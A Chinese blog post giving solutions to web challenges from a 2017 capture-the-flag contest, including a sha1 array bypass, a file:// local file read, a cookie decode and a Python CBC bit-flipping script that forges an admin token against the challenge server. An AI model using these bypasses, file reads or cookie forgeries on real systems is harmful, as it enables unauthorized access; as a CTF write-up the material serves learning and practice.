Sky's blog

BDCTF第一轮初赛web题解

Word count: 746 / Reading time: 4 min
2017/10/23 Share

前记

垃圾比赛,我再也不会打第二次了!!!!
(除非下次web很有趣)

web签到题

直接就给了源码,是个很老的套路,sha1的数组漏洞绕过
构造?id=bdctf&user[]=1,post上pass[]=2
就可以轻松绕过

这不仅仅是web

图片里有提示,查看源代码,有一行白色的字:文件是文本格式
图片里的提示:

1
2
3
4
5
6
7
8
9
1: < ZWAXGLDUBVIQHKYJPNTCRMOSFE >
2: < KPBELFAOZDTRXMJQCYHGVSNUWI >
3: < BDMAZIVRNSJUWFHTOQGYXPLECK >
4: < RPLNDEHGFCUKTVBSYQxIZMJWAO >



密钥: 2,3,1,4
密文: copy

简单的disk加密,解密文本:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
table = '''ZWAXGLDUBVIQHKYJPNTCRMOSFE
KPBELFAOZDTRXMJQCYHGVSNUWI
BDMAZIVRNSJUWFHTOQGYXPLECK
RPLNDEHGFCUKTVBSYQxIZMJWAO
'''
key = (2, 3, 1, 4)
cipher = 'COPY'
table = table.split()
table = [table[key[x] - 1] for x in range(4)]
key = [table[x].index(cipher[x]) for x in range(len(cipher))]
for i in range(len(table)):
table[i] = table[i][key[i]:] + table[i][:key[i]]
for i in range(26):
s = ''
for j in range(len(table)):
s += table[j][i]
print s

可以得到解密后是file,于是直接读文件
page=file:///var/www/html/file.txt
即可拿到flag

七环

问题就是在cookie上
+AGI-d+AGMAdA-f+AHsAQABiAGw-ue+AEA-d+AG8-n+AEA-edu+AEAAfQ-
+开头的解base64,-开头的直接拼接
所以可以容易得到flag
bdctf{@blue@don@edu@}

命令注入

百度杯2月赛原题……自行百度吧,var_dump+命令执行

WEB100-1

CBC翻转攻击,先是拿到源码泄露:index.php~
关键点:

1
2
3
4
5
6
7
8
9
10
11
12
function is_admin()
{
if(isset($_SESSION['id'])){
$token = base64_decode($_COOKIE['token']);
if($id = openssl_decrypt(base64_decode($_SESSION['id']), METHOD, SECRET_KEY, OPENSSL_RAW_DATA, $token)){
if($id == "admin")
$_SESSION['isadmin'] = true;
} else {
die("Error!");
}
}
}

我们需要的就是伪造数据,这里首先你得会cbc翻转攻击,不会的去看我之前的博客:

1
http://skysec.top/2017/06/16/CBC%E5%AD%97%E8%8A%82%E7%BF%BB%E8%BD%AC%E6%94%BB%E5%87%BB/

然后就是字节填充的问题,他的明文给的是6位,而我们要伪造的是5位,这里用到了
PKCS5Padding:填充的原则是,如果长度少于16个字节,需要补满16个字节,补(16-len)个(16-len)例如:
admin是5位长度,我们要16位,就补
admin\x0b\x0b\x0b\x0b\x0b\x0b\x0b\x0b\x0b\x0b\x0b(其中0b=11=16-5)
heheda是6位长度,我们要16位,就补
heheda\x0a\x0a\x0a\x0a\x0a\x0a\x0a\x0a\x0a\x0a(其中0a=10=16-6)
然后运行脚本即可拿到flag

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
#!/usr/bin/env python
# -*- coding: utf-8 -*-
import urllib
import requests
import base64
url = "http://13fc2a78d1cf6e26f0aa5044c07baf13.yogeit.com:8080/"
r = requests.get(url=url)
token = r.headers['Set-Cookie'].split(", ")[1][6:]
phpsessid = r.headers['Set-Cookie'].split(";")[0][10:]
token = urllib.unquote(token)
plain = "heheda\x0a\x0a\x0a\x0a\x0a\x0a\x0a\x0a\x0a\x0a"
want = 'admin\x0b\x0b\x0b\x0b\x0b\x0b\x0b\x0b\x0b\x0b\x0b'
first_16 = ''
iv = base64.b64decode(token)
for i in range(0,16):
first_16 += chr(ord(plain[i]) ^ ord(iv[i]) ^ ord(want[i]))
newiv = urllib.quote(base64.b64encode(first_16))
cookie = {
"PHPSESSID":phpsessid,
"token":newiv,
"path":"/",
}
print newiv
s = requests.post(url=url,cookies=cookie)
print s.content

后记

最后再特么吐槽一下,垃圾比赛,我再也不会来打了!!!!

CATALOG
  1. 1. 前记
  2. 2. web签到题
  3. 3. 这不仅仅是web
  4. 4. 七环
  5. 5. 命令注入
  6. 6. WEB100-1
  7. 7. 后记